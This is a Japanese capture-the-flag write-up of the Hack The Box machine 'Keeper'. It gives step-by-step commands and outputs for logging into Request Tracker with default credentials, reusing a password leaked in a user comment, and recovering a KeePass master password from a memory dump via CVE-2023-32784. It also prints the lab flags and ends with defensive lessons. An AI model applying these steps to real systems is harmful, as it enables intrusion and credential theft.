Hack The BoxのWriteup(Keeper)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Keeper — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
Request Tracker
デフォルト認証 root:password
→
Admin>Usersコメント欄
lnorgaard:Welcome2023!
→
SSH lnorgaard
user.txt ✓
→
RT30000.zip内のKeePassダンプ
253MBメモリダンプ+kdbx
→
CVE-2023-32784
マスターパスワード復元
→
KeePass DB開封→PuTTY鍵発見
puttygenでOpenSSH変換
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & vhostの発見

BASH
nmap -sV -sC -p 22,80 10.129.92.126
curl -s -L http://10.129.92.126/
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1
80/tcp open  http    nginx 1.18.0

<a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket,
please visit tickets.keeper.htb/rt/</a>
ℹ️
/etc/hostsにtickets.keeper.htbとkeeper.htbを追加。 社内ヘルプデスクシステムRequest Tracker (RT)が稼働している。
PHASE 2

Request Trackerのデフォルト認証情報とユーザーコメントからの資格情報漏洩

RTのデフォルト管理者資格情報でログイン

BASH
curl -s -c cookies.txt -b cookies.txt -X POST \
  --data-urlencode "user=root" --data-urlencode "pass=password" \
  "http://tickets.keeper.htb/rt/" -L
RESULT
<a ...>Logged in as <span class="current-user">root</span></a>
🚨
Request Trackerの工場出荷時デフォルト管理者資格情報 root:passwordが変更されずそのまま使われている。 公式ドキュメントに明記されている既知の初期値であり、インストール後は 必ず変更すべきもの。

Admin > Users からlnorgaardのコメントを確認

BASH
curl -s -b cookies.txt "http://tickets.keeper.htb/rt/Admin/Users/" \
  | grep -oE 'Modify\.html\?id=[0-9]+[^"]*"[^<]*'
curl -s -b cookies.txt "http://tickets.keeper.htb/rt/Admin/Users/Modify.html?id=27"
RESULT
Comments about this user:
New user. Initial password set to Welcome2023!
🚨
管理画面のユーザーメモ欄に初期パスワードが平文で残されている。 新入社員のオンボーディング手順をチケットシステムの備考欄にそのまま書いてしまう、 という運用上の典型的なミス。
PHASE 3

SSHログイン & user.txt取得

lnorgaardとしてSSHログイン

BASH
sshpass -p 'Welcome2023!' ssh lnorgaard@10.129.92.126 \
  "id; cat /home/lnorgaard/user.txt"
RESULT
uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard)
47b41d512f82d51a1e20034202ee6df6
user.txt — lnorgaard
47b41d512f82d51a1e20034202ee6df6
PHASE 4

RT30000.zip内のKeePassメモリダンプとDBファイルを取得

ホームディレクトリのzipファイルを確認

BASH
lnorgaard@keeper:~$ ls -la
lnorgaard@keeper:~$ unzip -l RT30000.zip
RESULT
-rw-r--r-- 1 root root 87391651 ... RT30000.zip

Archive:  RT30000.zip
  Length      Name
---------     ----
253395188     KeePassDumpFull.dmp
     3630     passcodes.kdbx
ℹ️
社内チケット(おそらくKeePassのクラッシュレポート添付)に、 KeePassプロセスのフルメモリダンプ(253MB)と暗号化された パスワードDB(.kdbx)が残っている。メモリダンプには一見 暗号化されていない生のプロセスメモリ内容が全て含まれる。

kdbxだけをストリーム取得(zip全体は不要)

BASH
ssh lnorgaard@10.129.92.126 \
  "unzip -p RT30000.zip passcodes.kdbx" > passcodes.kdbx
RESULT
passcodes.kdbx: Keepass password database 2.x KDBX
ℹ️
unzip -pでzip内の1ファイルだけをSSH標準出力経由でストリーム 取得できる。87MBのzip全体や253MBのdmpを都度ダウンロードし直す必要がなく、 必要なファイルだけを個別に抜き出せる。

253MBのメモリダンプもストリーム取得

BASH
ssh lnorgaard@10.129.92.126 \
  "unzip -p RT30000.zip KeePassDumpFull.dmp" > KeePassDumpFull.dmp
⚠️
実機でのハマりポイント: VPN経由の回線速度によっては 253MBの転送に数分かかり、デフォルトのSSHタイムアウト設定では 転送途中で切断されることがある(invalid compressed data to inflateのようなエラーで検出できる)。-o ServerAliveInterval=15を付けてキープアライブを送りつつ、 十分長いタイムアウトで気長に待つ必要がある。
PHASE 5

CVE-2023-32784: KeePassマスターパスワードのメモリ残留脆弱性

脆弱性の概要

NOTE
KeePass 2.x(2.54以前)のマスターパスワード入力欄は、独自実装の
SecureTextBoxEx(.NETの標準TextBoxではなく自前でマスキング表示を行う
コンポーネント)を使っている。この実装には、入力された各文字について
「●(伏字)が何個目まで打たれたか」を描画し直す際に生じる内部的な
文字列処理の副作用で、各キーストロークの実際の文字がプロセスメモリ上に
UTF-16LEの生テキストとして残り続けてしまうバグがある。唯一、
最初の1文字だけはこの手法で復元できない(既知の制限)。

公開ツール keepass-password-dumper を取得

BASH
git clone --depth=1 \
  https://github.com/vdohney/keepass-password-dumper.git kp_dumper
⚠️
実機でのハマりポイント: このツールは既定でnet7.0を ターゲットにしているが、インストール済みの.NET SDKが6.0系の場合は ビルドエラーになる。keepass_password_dumper.csproj内の <TargetFramework>net7.0</TargetFramework>を net6.0に書き換えればビルドが通る。

メモリダンプを解析しマスターパスワード候補を復元

BASH
dotnet run --project kp_dumper KeePassDumpFull.dmp
RESULT
Password candidates (character positions):
Unknown characters are displayed as "●"
1.:	●
2.:	ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M
3.:	d
4.:	g
5.:	r
6.:	ø
7.:	d
8.:	(space)
9.:	m
10.:	e
11.:	d
12.:	(space)
13.:	f
14.:	l
15.:	ø
16.:	d
17.:	e

Combined: ●{ø,...}dgrød med fløde
✅
2文字目以降が完全に復元された。1文字目だけは候補集合 (●で表示)としてしか得られないが、復元された文字列 「_dgrød med fløde」から、デンマーク語の有名なデザート名 「rødgrød med fløde」(赤いベリーの果実煮、クリーム添え)であると 容易に推測できる。候補リストの2文字目にも「ø」が含まれており、 「rødgrød」の綴りと矛盾しない。マスターパスワードは rødgrød med fløde。
PHASE 6

KeePass DBを開封しPuTTY鍵を変換 & root.txt取得

pykeepassでDBを開封しエントリを一覧

PYTHON
from pykeepass import PyKeePass
kp = PyKeePass('passcodes.kdbx', password='rødgrød med fløde')
for entry in kp.entries:
    print(entry.title, entry.group.name, entry.username)
RESULT
keeper.htb (Ticketing Server) | Network | username=root
  notes: PuTTY-User-Key-File-3: ssh-rsa ...
Ticketing System | Network | username=lnorgaard
✅
マスターパスワードが正しかったことを確認。 「Network」グループ内にrootユーザー用のPuTTY秘密鍵 (notesフィールドにPuTTY形式の鍵ファイルが丸ごと保存されている)が 見つかった。

PuTTY形式の鍵をファイルに保存

PYTHON
for entry in kp.entries:
    if entry.title == "keeper.htb (Ticketing Server)":
        open('root.ppk', 'w').write(entry.notes)

puttygenでOpenSSH形式に変換しSSHログイン

BASH
puttygen root.ppk -O private-openssh -o root_id_rsa
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.92.126 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
0e4aed4e354bec2aed345dd9c795e206
✅
PuTTY独自形式(.ppk)の秘密鍵は標準のOpenSSHクライアントでは直接使えないため、 putty-toolsパッケージのputtygenでOpenSSH形式に 変換する必要がある。変換後はそのままssh -iで使用できる。
root.txt — root (KeePass PuTTY鍵経由)
0e4aed4e354bec2aed345dd9c795e206
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — lnorgaard
47b41d512f82d51a1e20034202ee6df6
root.txt — root
0e4aed4e354bec2aed345dd9c795e206

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Request Trackerのデフォルト管理者認証情報 tickets.keeper.htb/rt/ (root:password) 管理画面への不正アクセス High インストール後に変更されていない既知のデフォルト資格情報でログイン
チケットシステムのメモ欄への平文パスワード記載 Admin/Users/Modify.html のコメント欄 OSアカウント資格情報の漏洩 Medium 新入社員の初期パスワードが運用メモとしてそのまま記録されている
CVE-2023-32784 (KeePass マスターパスワードのメモリ残留) KeePass 2.x < 2.54 のマスターパスワード入力欄 マスターパスワードの復元(2文字目以降) Critical プロセスメモリダンプを公開ツールで解析し、各キーストロークの文字列残留から復元
機密ファイル(メモリダンプ・DB)がチケット添付として残存 RT30000.zip (サポートチケットの添付ファイル) 機密情報のさらなる漏洩経路 Medium トラブルシューティングのために添付されたクラッシュダンプ自体が機密情報の宝庫になっていた

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhost追加22(SSH)/80(nginx Request Tracker)
2資格情報窃取RTデフォルト認証 + ユーザーコメントlnorgaard:Welcome2023!
3フットホールドSSHuser.txt(lnorgaard)
4データ取得unzip -pストリーム取得KeePassメモリダンプ(253MB) + kdbx
5マスターパスワード復元CVE-2023-32784(keepass-password-dumper)rødgrød med fløde
6権限昇格KeePass開封 + PuTTY鍵変換root.txt

学んだ教訓 & 防御策

問題点防御策
サービスのデフォルト管理者資格情報が変更されていない 導入直後に必ずデフォルト資格情報を変更する運用をチェックリスト化し、定期的に監査する。
チケットシステムの備考欄に平文パスワードが記録される運用 資格情報の受け渡しは専用のシークレット共有ツールを使い、チケット・メモ等の恒久的に残る場所に平文で書かない。
既知脆弱性(CVE-2023-32784)を含む古いバージョンのKeePassを使用 KeePassは2.54以降の修正版に更新する。マスターパスワード入力時の文字列メモリ管理に脆弱性がある旧バージョンでは機密情報を扱わない。
アプリケーションのクラッシュダンプ・メモリダンプが機密情報を含んだままチケットシステムに添付・保管されている 診断用ダンプファイルの取り扱いルールを定め、機密情報を含む可能性のあるダンプは解析後速やかに削除する。添付ファイルへのアクセス権も最小化する。
HackTheBox: Keeper | 完全攻略レポート